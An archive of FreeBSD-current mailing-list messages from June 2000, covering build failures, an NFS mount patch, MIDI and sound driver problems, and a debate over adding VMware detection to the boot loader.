(envelope-sender ) by mailtoaster2.pipeline.ch (qmail-ldap-1.03) with RC4-MD5 encrypted SMTP for ; 11 Jun 2000 16:02:33 -0000 Message-ID: <3943B77F.D5BAB1C8@pipeline.ch> Date: Sun, 11 Jun 2000 17:59:59 +0200 From: Andre Oppermann X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: current@freebsd.org Subject: Upgrading from 4.0-RELEASE broken Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I always get bitten by these bugs while trying to upgrade a 4.0-RELEASE box to 5.0-CURRENT via make world: Problem #1: ===> libcrypto perl /usr/src/secure/lib/libcrypto/../../../crypto/openssl/crypto/objects/obj_dat. pl < /usr/src/secure/lib/libcrypto/../../../crypto/openssl/crypto/objects/objects. h > /usr/obj/usr/src/secure/lib/libcrypto/obj_dat.h Can't open input file at /usr/src/secure/lib/libcrypto/../../../crypto/openssl/cr ypto/objects/obj_dat.pl line 41. *** Error code 2 Stop in /usr/src/secure/lib/libcrypto. *** Error code 1 Fix #1: +++ obj_dat.pl.bak Sun Jun 11 16:56:31 2000 --- obj_dat.pl Sun Jun 11 16:56:52 2000 @@ -38,8 +38,8 @@ return(%objn); } -open (IN,"$ARGV[0]") || die "Can't open input file $ARGV[0]"; -open (OUT,">$ARGV[1]") || die "Can't open output file $ARGV[1]"; +#open (IN,"$ARGV[0]") || die "Can't open input file $ARGV[0]"; +#open (OUT,">$ARGV[1]") || die "Can't open output file $ARGV[1]"; while () { Problem #2: cc -O -pipe -Wall -DHAVE_DES -I/usr/obj/usr/src/i386/usr/include -c /usr/src/usr .sbin/ppp/ether.c cc -O -pipe -Wall -DHAVE_DES -I/usr/obj/usr/src/i386/usr/include -o ppp acf.o a rp.o async.o auth.o bundle.o cbcp.o ccp.o chap.o chat.o command.o datalink.o defla te.o defs.o exec.o filter.o fsm.o hdlc.o id.o iface.o ip.o ipcp.o iplist.o lcp.o l ink.o log.o lqr.o main.o mbuf.o mp.o pap.o physical.o pred.o probe.o prompt.o prot o.o route.o server.o sig.o slcompress.o sync.o systems.o tcp.o throughput.o timer. o tty.o tun.o udp.o vjcomp.o nat_cmd.o chap_ms.o radius.o i4b.o ether.o -lcrypt - lmd -lutil -lz -lalias -lcrypto -lradius -lnetgraph /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509at_get_att r_by_OBJ' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509_CERT_AUX_ free' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `OpenSSL_add_al l_ciphers' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `d2i_X509_CERT_ AUX' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `BN_CTX_new' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509at_add1_at tr_by_txt' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `BN_CTX_get' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509_CERT_AUX_ print' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `BN_CTX_end' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509at_add1_at tr_by_NID' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `BN_CTX_start' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `BN_CTX_init' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509_PURPOSE_g et0' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `OpenSSL_add_al l_digests' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `i2d_X509_CERT_ AUX' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509at_get_att r' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509at_get_att r_count' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `v3_info' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509_TRUST_get _by_id' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509_PURPOSE_g et_by_id' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509_check_tru st' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509at_delete_ attr' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `BN_CTX_free' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `ERR_load_RAND_ strings' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509at_add1_at tr' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `ASN1_STRING_se t_by_NID' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509at_get_att r_by_NID' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509at_add1_at tr_by_OBJ' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `X509_check_pur pose' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `CRYPTO_mem_ctr l' /usr/obj/usr/src/i386/usr/lib/libcrypto.so: undefined reference to `DSA_OpenSSL' *** Error code 1 Stop in /usr/src/usr.sbin/ppp. *** Error code 1 Fix #2: No idea how to fix this... -- Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 9:10:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from cr1003333-a.crdva1.bc.home.com (cr1003333-a.crdva1.bc.wave.home.com [24.113.51.240]) by hub.freebsd.org (Postfix) with ESMTP id 7025C37B6CA for ; Sun, 11 Jun 2000 09:10:41 -0700 (PDT) (envelope-from pangolin@home.com) Received: from cr1003333-a.crdva1.bc.wave.home.com. (localhost [127.0.0.1]) by cr1003333-a.crdva1.bc.home.com (8.9.3/8.9.3) with ESMTP id JAA06425; Sun, 11 Jun 2000 09:10:38 -0700 (PDT) (envelope-from pangolin@home.com) Message-Id: <200006111610.JAA06425@cr1003333-a.crdva1.bc.home.com> X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <200006110511.WAA24596@apollo.backplane.com> Date: Sun, 11 Jun 2000 09:10:38 -0700 (PDT) Reply-To: Jonathan Hanna Organization: Pangolin Systems From: Jonathan Hanna To: Matthew Dillon Subject: Re: RE: Strange rpc.statd and mount_nfs Cc: freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 11-Jun-00 Matthew Dillon wrote: >:Here is a rather suspicious fix, I have not looked at rpc call >:use in detail: >: >:--- mount_nfs.c.orig Sat Jun 10 11:08:19 2000 >:+++ mount_nfs.c Sat Jun 10 11:09:06 2000 >:@@ -784,10 +784,11 @@ >: warnx("%s", clnt_sperror(clp, >: "bad MNT RPC")); >: } else { >:- auth_destroy(clp->cl_auth); >:- clnt_destroy(clp); >: retrycnt = 0; >: } >:+ auth_destroy(clp->cl_auth); >:+ clnt_destroy(clp); >:+ so = RPC_ANYSOCK; > > Good catch! This patch looks good to me, I am going to go ahead > and commit it. > > Resetting 'so' is good code form, but I went through the rpc code > and it wasn't an operational bug ... the rpc code can overwrite so > in the case of a failure but only with '-1', which is RPC_ANYSOCK > anyway. Still, it's good not to make assumptions. > > -Matt Without the "so = RPC_ANYSOCK" and no other changes, the "weak credential" failure turned into a "bad file descriptor" failure, so I think the non -1 socket fd is being reused. Perhaps the initialization of "so" should be moved into the retry loop. Jonathan Hanna To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 10: 0:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from main.avias.com (avias-gw.corbina.net [195.14.40.4]) by hub.freebsd.org (Postfix) with ESMTP id E985837BA16 for ; Sun, 11 Jun 2000 10:00:34 -0700 (PDT) (envelope-from juriy@avias.com) Received: from dialup2.avias.com (dialup2.avias.com [195.14.38.69]) by main.avias.com (8.9.3/8.9.3) with ESMTP id VAA23006 for ; Sun, 11 Jun 2000 21:00:29 +0400 (MSD) (envelope-from juriy@avias.com) Date: Sun, 11 Jun 2000 21:00:34 +0400 (MSD) From: Juriy Goloveshkin X-Sender: juriy@localhost To: current@freebsd.org Subject: static linked files in /usr/bin Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all! Why a lot of files in /usr/bin(sbin) are static linked? for example, tar: static - 272832 bytes(83416 dynamic) is it magic of /usr/src/gnu folder? Bye Juriy Goloveshkin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 10:11:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from whizzo.transsys.com (whizzo.TransSys.COM [144.202.42.10]) by hub.freebsd.org (Postfix) with ESMTP id 2D8B837BA16; Sun, 11 Jun 2000 10:10:59 -0700 (PDT) (envelope-from louie@whizzo.transsys.com) Received: from whizzo.transsys.com (localhost.transsys.com [127.0.0.1]) by whizzo.transsys.com (8.9.3/8.9.1) with ESMTP id NAA61625; Sun, 11 Jun 2000 13:10:48 -0400 (EDT) (envelope-from louie@whizzo.transsys.com) Message-Id: <200006111710.NAA61625@whizzo.transsys.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: "Daniel C. Sobral" Cc: Mike Smith , Luoqi Chen , current@FreeBSD.ORG, emulation@FreeBSD.ORG X-Image-URL: http://www.transsys.com/louie/images/louie-mail.jpg From: "Louis A. Mamakos" Subject: Re: VMware detection code in boot loader References: <200006110105.SAA11913@mass.cdrom.com> <3943AFF4.6821783E@newsguy.com> In-reply-to: Your message of "Mon, 12 Jun 2000 00:27:48 +0900." <3943AFF4.6821783E@newsguy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 11 Jun 2000 13:10:48 -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Mike Smith wrote: > > > > > VMware intercepts the inb/outb instruction to port 0x5658 when the eax > > > register is set to a magic value, otherwise it would be handled as any > > > other ports. > > > > I think, again, that adding an i386-specific word that detects the > > presence of VMware is a perfectly sensible idea, and it should simply be > > done. > > Given the way VMware works, I'd have nothing against making it a FICL > words, except... > > ...VMware is a port. For some reason, I dislike the idea of having > support targetted at exclusively one specific port. Though we have > features added specifically to deal with certain ports, they were all > more generic features. > > So, I see two alternatives here: > > 1) Add the Forth words that allow execution of assembler code (CODE > ;CODE), and hex-compile the code (as having a whole assembler around is > unreasonable). This enables similar problems to be solved without having > to change loader(8). > > 2) Add the VMware detecting to FICL, as originally suggested. or 3) add inw and outw Forth words, and make the VMWARE specific stuff just new words defined in Forth. Perhaps this doesn't preclude having to do 1) for some future problem, but it could delay it somewhat. louie To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 10:17:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id F03B037C8E1 for ; Sun, 11 Jun 2000 10:16:46 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 10642 invoked from network); 11 Jun 2000 17:16:40 -0000 Received: from lc210.cvzoom.net (HELO cvzoom.net) (208.226.154.210) by ns.cvzoom.net with SMTP; 11 Jun 2000 17:16:40 -0000 Message-ID: <3943C978.2F618419@cvzoom.net> Date: Sun, 11 Jun 2000 13:16:40 -0400 From: Donn Miller X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Seigo Tanimura Cc: current@FreeBSD.org Subject: Re: Newmidi Release Candidate is ready References: <14659.36623.170970.72159A@silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Seigo Tanimura wrote: > > The release candidate of newmidi is finally ready. The patch for > -current can be found at: > > URI: http://people.FreeBSD.org/~tanimura/patches/newmidirc.diff.gz I tried this patch out. When I added nothing to my kernel config file other than device sbc0 device pcm0 the kernel compiled OK, but when I did cat midifile.mid > /dev/midi0, I get a "device not configured" error message. I figured I needed to add something to my kernel config file, such as device midi0 # for isa pnp/pci cards pseudo-device seq 1 I get a whole bunch of kernel compile errors. Examples: In file included from ../../dev/sound/midi/midi.h:69, from ../../dev/sound/isa/emu8000.c:38: ../../dev/sound/midi/miditypes.h:65: redefinition of `mididev_info' ../../dev/sound/midi/miditypes.h:31: `mididev_info' previously declared here ../../dev/sound/midi/miditypes.h:67: redefinition of `midi_callback_t' ../../dev/sound/midi/miditypes.h:33: `midi_callback_t' previously declared here ../../dev/sound/midi/miditypes.h:68: redefinition of `midi_intr_t' ../../dev/sound/midi/miditypes.h:34: `midi_intr_t' previously declared here ../../dev/sound/midi/miditypes.h:99: redefinition of `mididev_info' ../../dev/sound/midi/miditypes.h:65: `mididev_info' previously declared here ../../dev/sound/midi/miditypes.h:101: redefinition of `midi_callback_t' ../../dev/sound/midi/miditypes.h:67: `midi_callback_t' previously declared here ../../dev/sound/midi/miditypes.h:102: redefinition of `midi_intr_t' ../../dev/sound/midi/miditypes.h:68: `midi_intr_t' previously declared here ../../dev/sound/midi/miditypes.h:133: redefinition of `mididev_info' ../../dev/sound/midi/miditypes.h:99: `mididev_info' previously declared here ../../dev/sound/midi/miditypes.h:135: redefinition of `midi_callback_t' ../../dev/sound/midi/miditypes.h:101: `midi_callback_t' previously declared here ../../dev/sound/midi/miditypes.h:136: redefinition of `midi_intr_t' ../../dev/sound/midi/miditypes.h:102: `midi_intr_t' previously declared here Also, the pcm driver for the ESS 1868 is slightly broken for MP3's -- when I try to play MP3's, I get a lot of nasty pops and clicks during playback with mpg123. - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 10:24:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id D55E337C91C for ; Sun, 11 Jun 2000 10:23:52 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 11566 invoked from network); 11 Jun 2000 17:23:49 -0000 Received: from lc210.cvzoom.net (HELO cvzoom.net) (208.226.154.210) by ns.cvzoom.net with SMTP; 11 Jun 2000 17:23:49 -0000 Message-ID: <3943CB25.A71BE996@cvzoom.net> Date: Sun, 11 Jun 2000 13:23:49 -0400 From: Donn Miller X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: current@FreeBSD.org Subject: Problems with PCM and ESS 1868 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The recent commits to PCM, as of a few days back, have given me problems with my ESS 1868. When I play MP3's with mpg123, I get a lot of loud pops and clicks during playback. Otherwise, the MP3s DO play all the way through. However, when I try to play MP3s with Real Player 7, it just hangs at the beginning, and doesn't play the MP3. Before the commits to PCM, I was able to play MP3s OK with Real Player 7. - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 10:30:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.cdrom.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 7FEA637C929 for ; Sun, 11 Jun 2000 10:30:21 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id KAA14463; Sun, 11 Jun 2000 10:34:14 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200006111734.KAA14463@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: rjk191@psu.edu Cc: freebsd-current@freebsd.org Subject: Re: strange messages at bootup In-reply-to: Your message of "Sun, 11 Jun 2000 00:37:57 EDT." <20000611003757.C386@rjk191.rh.psu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 11 Jun 2000 10:34:14 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > > > I would hazard the guess that you now have the PNPBIOS directive > > > > in your kernel config file... > > > > > > Actually, I don't have PnP in my config file. That's why I think > > > this is so weird... > > > > It's on by default now. > > Can I turn it off somehow? Or otherwise fix it? No. The messages are harmless; you can ignore them. Go worry about global warming, or someting more important. 8) -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 10:42: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 78C3137B79E; Sun, 11 Jun 2000 10:41:58 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id DDB611CD7; Sun, 11 Jun 2000 10:41:53 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: "Daniel C. Sobral" Cc: Mike Smith , Luoqi Chen , current@FreeBSD.ORG, emulation@FreeBSD.ORG Subject: Re: VMware detection code in boot loader In-Reply-To: Message from "Daniel C. Sobral" of "Mon, 12 Jun 2000 00:27:48 +0900." <3943AFF4.6821783E@newsguy.com> Date: Sun, 11 Jun 2000 10:41:53 -0700 From: Peter Wemm Message-Id: <20000611174153.DDB611CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Daniel C. Sobral" wrote: > Mike Smith wrote: > > > > > VMware intercepts the inb/outb instruction to port 0x5658 when the eax > > > register is set to a magic value, otherwise it would be handled as any > > > other ports. > > > > I think, again, that adding an i386-specific word that detects the > > presence of VMware is a perfectly sensible idea, and it should simply be > > done. > > Given the way VMware works, I'd have nothing against making it a FICL > words, except... > > ...VMware is a port. For some reason, I dislike the idea of having > support targetted at exclusively one specific port. Though we have > features added specifically to deal with certain ports, they were all > more generic features. > > So, I see two alternatives here: > > 1) Add the Forth words that allow execution of assembler code (CODE > ;CODE), and hex-compile the code (as having a whole assembler around is > unreasonable). This enables similar problems to be solved without having > to change loader(8). > > 2) Add the VMware detecting to FICL, as originally suggested. > > While I have reservations about the latter, I'm not objecting to it. If > you, Luoqi, prefer to go that way, go ahead. Why make #2 vmware specific? Why not set $emulation to native,vmware,bochs, etc. This is applicable to any platform that may have some sort of emulator. Putting it in an environment variable has the advantage of having it passed through to the kernel environment too, so you might be able to use it in /etc/rc* as well. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 10:43:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.cdrom.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 8201237C9D2; Sun, 11 Jun 2000 10:43:05 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id KAA14537; Sun, 11 Jun 2000 10:47:00 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200006111747.KAA14537@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: "Daniel C. Sobral" Cc: current@FreeBSD.ORG, emulation@FreeBSD.ORG Subject: Re: VMware detection code in boot loader In-reply-to: Your message of "Mon, 12 Jun 2000 00:27:48 +0900." <3943AFF4.6821783E@newsguy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 11 Jun 2000 10:47:00 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Mike Smith wrote: > > > > > VMware intercepts the inb/outb instruction to port 0x5658 when the eax > > > register is set to a magic value, otherwise it would be handled as any > > > other ports. > > > > I think, again, that adding an i386-specific word that detects the > > presence of VMware is a perfectly sensible idea, and it should simply be > > done. > > Given the way VMware works, I'd have nothing against making it a FICL > words, except... > > ...VMware is a port. For some reason, I dislike the idea of having > support targetted at exclusively one specific port. Though we have > features added specifically to deal with certain ports, they were all > more generic features. It's not a port, it's a platform. We probably want to add extra words to detect other platform features, eg. i386, alpha, ia64, etc. but that doesn't invalidate the basic idea. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 10:45:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 82FE337B6CA for ; Sun, 11 Jun 2000 10:45:31 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id D5F5D1CDF; Sun, 11 Jun 2000 10:45:28 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: Poul-Henning Kamp Cc: Donn Miller , current@FreeBSD.ORG Subject: Re: kernel config errors... In-Reply-To: Message from Poul-Henning Kamp of "Sun, 11 Jun 2000 17:21:46 +0200." <1064.960736906@critter.freebsd.dk> Date: Sun, 11 Jun 2000 10:45:28 -0700 From: Peter Wemm Message-Id: <20000611174528.D5F5D1CDF@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Poul-Henning Kamp wrote: > In message , Donn Mi > ller writes: > >After a recent cvsup, I'm getting this error after doing a config -r: > > > >../../conf/files: coda/coda_fbsd.c must be optional, mandatory or standard > > recompile config(8). > > I don't know why peter didn't bump the magic-config-version-number. I did. But it seems the magic number checking is done after other work. :-( Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 11: 9: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 3C71C37B82B; Sun, 11 Jun 2000 11:08:50 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p61-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.62]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id DAA04524; Mon, 12 Jun 2000 03:08:35 +0900 (JST) Message-ID: <3943D5E2.A67A111B@newsguy.com> Date: Mon, 12 Jun 2000 03:09:38 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Peter Wemm Cc: Mike Smith , Luoqi Chen , current@FreeBSD.ORG, emulation@FreeBSD.ORG Subject: Re: VMware detection code in boot loader References: <20000611174153.DDB611CD7@overcee.netplex.com.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Peter Wemm wrote: > > > 2) Add the VMware detecting to FICL, as originally suggested. > > Why make #2 vmware specific? Why not set $emulation to native,vmware,bochs, > etc. This is applicable to any platform that may have some sort of emulator. > Putting it in an environment variable has the advantage of having it passed > through to the kernel environment too, so you might be able to use it in > /etc/rc* as well. It wouldn't change the matter of having port-specific code on loader. It is really irrelevant whether that code will be setting an environment variable or returning flag/version. Forth code executed at run-time is an extension of loader. It can call various flag-returning words and set an environment variable accordingly. The only difference is that having C code set the environment variable let us get away from using FICL, but, then, the utility of it is _only_ passing it to the kernel environment, as loader(8) without FICL can do very little based on the content of an environment variable. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 11:12:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 9737137B771; Sun, 11 Jun 2000 11:12:52 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p61-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.62]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id DAA05065; Mon, 12 Jun 2000 03:12:51 +0900 (JST) Message-ID: <3943D6E1.84EF5F40@newsguy.com> Date: Mon, 12 Jun 2000 03:13:53 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Mike Smith Cc: current@FreeBSD.ORG, emulation@FreeBSD.ORG Subject: Re: VMware detection code in boot loader References: <200006111747.KAA14537@mass.cdrom.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mike Smith wrote: > > > ...VMware is a port. For some reason, I dislike the idea of having > > support targetted at exclusively one specific port. Though we have > > features added specifically to deal with certain ports, they were all > > more generic features. > > It's not a port, it's a platform. We probably want to add extra words to > detect other platform features, eg. i386, alpha, ia64, etc. but that > doesn't invalidate the basic idea. Huh... duh! Of course! In this case, I object to the way the word works. We *do* "detect" i386 and alpha. The code ought to do something similar to what the i386 and alpha words do. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 11:27:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.cdrom.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 0B9AC37B88A; Sun, 11 Jun 2000 11:27:45 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id LAA14709; Sun, 11 Jun 2000 11:31:43 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200006111831.LAA14709@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: "Daniel C. Sobral" Cc: Mike Smith , current@FreeBSD.ORG, emulation@FreeBSD.ORG Subject: Re: VMware detection code in boot loader In-reply-to: Your message of "Mon, 12 Jun 2000 03:13:53 +0900." <3943D6E1.84EF5F40@newsguy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 11 Jun 2000 11:31:43 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Mike Smith wrote: > > > > > ...VMware is a port. For some reason, I dislike the idea of having > > > support targetted at exclusively one specific port. Though we have > > > features added specifically to deal with certain ports, they were all > > > more generic features. > > > > It's not a port, it's a platform. We probably want to add extra words to > > detect other platform features, eg. i386, alpha, ia64, etc. but that > > doesn't invalidate the basic idea. > > Huh... duh! Of course! > > In this case, I object to the way the word works. We *do* "detect" i386 > and alpha. The code ought to do something similar to what the i386 and > alpha words do. That would make sense. Note that 'vmware' is a subset of 'i386' for whatever that's worth. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 11:55:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from coredump.lovett.com (hub.lovett.com [216.60.121.161]) by hub.freebsd.org (Postfix) with ESMTP id 1D87437B545; Sun, 11 Jun 2000 11:55:22 -0700 (PDT) (envelope-from ade@lovett.com) Received: from ade by coredump.lovett.com with local (Exim 3.14 #1) id 131CtH-00048d-00; 